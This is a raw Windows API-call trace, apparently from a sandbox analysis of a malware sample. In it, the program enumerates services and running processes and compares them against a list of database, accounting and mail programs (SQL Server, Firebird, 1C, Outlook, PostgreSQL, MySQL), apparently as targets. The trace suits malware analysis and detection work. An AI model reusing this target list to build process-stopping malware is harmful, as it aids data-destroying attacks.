	[0260.151] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0260.152] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0260.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0260.152] lstrlenW (lpString="EventSystem") returned 11
	[0260.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0260.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0260.152] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0260.152] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0260.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0260.152] lstrlenW (lpString="gpsvc") returned 5
	[0260.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0260.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0260.152] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0260.152] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0260.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0260.152] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0260.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0260.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0260.152] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0260.152] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0260.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0260.152] lstrlenW (lpString="lmhosts") returned 7
	[0260.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0260.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0260.152] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0260.152] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0260.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0260.152] lstrlenW (lpString="MMCSS") returned 5
	[0260.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0260.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0260.152] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0260.152] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0260.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0260.153] lstrlenW (lpString="MpsSvc") returned 6
	[0260.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0260.153] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0260.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0260.153] lstrlenW (lpString="NlaSvc") returned 6
	[0260.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0260.153] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0260.153] lstrlenW (lpString="nsi") returned 3
	[0260.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0260.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0260.153] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0260.153] lstrlenW (lpString="PcaSvc") returned 6
	[0260.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0260.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0260.153] lstrlenW (lpString="PlugPlay") returned 8
	[0260.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0260.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0260.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0260.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0260.153] lstrlenW (lpString="Power") returned 5
	[0260.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0260.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0260.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0260.154] lstrlenW (lpString="ProfSvc") returned 7
	[0260.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0260.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0260.154] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0260.154] lstrlenW (lpString="RpcEptMapper") returned 12
	[0260.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0260.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0260.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0260.154] lstrlenW (lpString="RpcSs") returned 5
	[0260.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0260.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0260.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0260.154] lstrlenW (lpString="SamSs") returned 5
	[0260.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0260.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0260.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0260.154] lstrlenW (lpString="Schedule") returned 8
	[0260.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0260.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0260.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0260.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0260.155] lstrlenW (lpString="SENS") returned 4
	[0260.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0260.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0260.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0260.155] lstrlenW (lpString="ShellHWDetection") returned 16
	[0260.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0260.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0260.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0260.155] lstrlenW (lpString="Spooler") returned 7
	[0260.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0260.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0260.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0260.155] lstrlenW (lpString="Themes") returned 6
	[0260.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0260.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0260.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0260.155] lstrlenW (lpString="UxSms") returned 5
	[0260.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0260.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0260.155] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0260.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0260.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0260.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274
	[0260.158] Process32FirstW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0260.159] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0260.159] lstrlenW (lpString="System") returned 6
	[0260.159] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0260.159] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0260.159] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0260.159] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0260.159] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0260.159] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0260.159] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0260.159] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0260.159] lstrlenW (lpString="smss.exe") returned 8
	[0260.159] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0260.159] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0260.159] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0260.160] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0260.160] lstrlenW (lpString="csrss.exe") returned 9
	[0260.160] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0260.160] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0260.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0260.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0260.160] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0260.160] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0260.160] lstrlenW (lpString="wininit.exe") returned 11
	[0260.160] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0260.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0260.161] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0260.161] lstrlenW (lpString="csrss.exe") returned 9
	[0260.161] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0260.161] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0260.161] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0260.161] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0260.161] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0260.161] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0260.161] lstrlenW (lpString="winlogon.exe") returned 12
	[0260.161] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0260.161] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0260.162] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0260.162] lstrlenW (lpString="services.exe") returned 12
	[0260.162] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0260.162] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0260.162] lstrlenW (lpString="lsass.exe") returned 9
	[0260.162] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0260.162] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0260.163] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0260.163] lstrlenW (lpString="lsm.exe") returned 7
	[0260.163] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0260.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0260.163] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0260.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0260.163] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.164] lstrlenW (lpString="svchost.exe") returned 11
	[0260.164] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0260.164] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.164] lstrlenW (lpString="svchost.exe") returned 11
	[0260.164] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0260.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0260.164] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.164] lstrlenW (lpString="svchost.exe") returned 11
	[0260.165] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0260.165] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.165] lstrlenW (lpString="svchost.exe") returned 11
	[0260.165] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0260.165] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0260.165] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.165] lstrlenW (lpString="svchost.exe") returned 11
	[0260.165] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0260.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0260.166] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0260.166] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0260.166] lstrlenW (lpString="audiodg.exe") returned 11
	[0260.166] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.166] lstrlenW (lpString="svchost.exe") returned 11
	[0260.166] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0260.166] lstrlenW (lpString="userinit.exe") returned 12
	[0260.167] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0260.167] lstrlenW (lpString="explorer.exe") returned 12
	[0260.167] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0260.167] lstrlenW (lpString="dwm.exe") returned 7
	[0260.167] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.167] lstrlenW (lpString="svchost.exe") returned 11
	[0260.167] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0260.168] lstrlenW (lpString="swpesp.exe") returned 10
	[0260.168] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0260.168] lstrlenW (lpString="spoolsv.exe") returned 11
